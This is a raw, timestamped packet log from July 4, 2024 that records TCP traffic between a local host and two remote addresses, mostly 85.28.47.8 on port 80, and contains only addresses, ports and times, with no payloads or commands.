                                                              Jul 4, 2024 11:16:19.733679056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733685970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733685970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.733690977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733699083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733704090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733716011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.733720064 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.733736992 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.734127998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734134912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734147072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734153032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734158993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734164953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734170914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734178066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734185934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.734189987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734196901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734203100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734209061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734214067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734220028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734222889 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.734244108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.734262943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.734447002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734452963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734491110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.734539986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734546900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734559059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734565020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734570980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734577894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734584093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.734590054 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.734602928 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.734630108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.734786034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.764045000 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:19.772408962 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:19.773885965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.773909092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.773920059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.773931980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.773950100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.773957014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.773963928 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.773972988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.774015903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.774034977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.774096012 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.774122000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.778578043 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:19.783411026 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:19.801378012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801386118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801399946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801407099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801412106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801424980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801465988 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.801506042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801513910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801517010 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.801548958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.801554918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801563025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801604986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.801681042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801687956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801701069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801712036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801718950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801726103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.801752090 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.801767111 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.801826954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801834106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801846027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801851988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801877975 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.801906109 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.801981926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.801989079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802000999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802006960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802012920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802033901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.802048922 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.802136898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802143097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802155018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802165985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802174091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802185059 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.802189112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802220106 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.802417040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802448034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802453995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802473068 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.802486897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.802558899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802566051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802572012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802577019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.802599907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.802632093 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.803574085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.803580046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.803595066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.803630114 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.803708076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.803714991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.803728104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.803761005 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.803767920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.803775072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.803809881 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.823065042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823090076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823096991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823177099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.823204041 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823210955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823216915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823237896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823256016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.823271036 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.823301077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823355913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823362112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823368073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823379040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.823431969 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.823458910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823470116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823477983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823498011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823514938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.823568106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823574066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823620081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.823699951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823707104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823719025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823725939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823751926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.823782921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823791981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823798895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823805094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823827028 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.823858976 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.823931932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823939085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823951006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.823957920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824001074 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.824044943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824052095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824064016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824069977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824098110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.824192047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824198961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824209929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824215889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824229956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824235916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824242115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824242115 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.824249029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824264050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824270964 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.824290037 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.824312925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.824490070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824574947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824582100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824594021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824600935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824606895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824613094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824618101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824623108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.824655056 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.824805975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824812889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824824095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824830055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824836016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824851036 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.824876070 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.824919939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824927092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.824971914 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.825005054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.825014114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.825053930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.825089931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.825097084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.825109005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.825114012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.825120926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.825125933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.825138092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.825151920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.867341995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.867351055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.867362976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.867404938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.867410898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.867424011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.867429972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.867443085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.867503881 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.891206026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.891247988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.891252995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.891319990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.891326904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.891326904 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.891334057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.891372919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.891377926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.891386986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.891400099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.891433001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.891966105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.891973019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.891978979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892011881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892014980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.892019033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892033100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892060995 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.892180920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892185926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892191887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892199039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892203093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892209053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892226934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892234087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892236948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.892272949 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.892375946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892383099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892400026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892425060 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.892452002 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.892497063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892503977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892509937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892515898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892539978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.892569065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.892648935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892656088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892667055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892673016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892678022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892683029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892688990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.892695904 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.892710924 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.892738104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.893548012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.893554926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.893562078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.893594027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.893646002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.893651962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.893665075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.893671036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.893702030 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.893722057 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.912940979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.912952900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.912959099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913028002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913027048 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913041115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913048983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913060904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913065910 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913096905 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913115978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913158894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913182020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913187981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913193941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913224936 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913300991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913307905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913314104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913321972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913331985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913347006 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913378000 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913433075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913439989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913451910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913481951 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913547039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913553953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913566113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913570881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913575888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913604975 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913630962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913671970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913678885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913691044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913697004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913708925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913722038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913758039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913795948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913801908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913814068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913847923 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913919926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913927078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913938999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913944960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.913971901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.913988113 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.914068937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.914082050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.914088011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.914092064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.914098024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.914103985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.914114952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.914134026 CEST804972385.28.47.8192.168.2.6
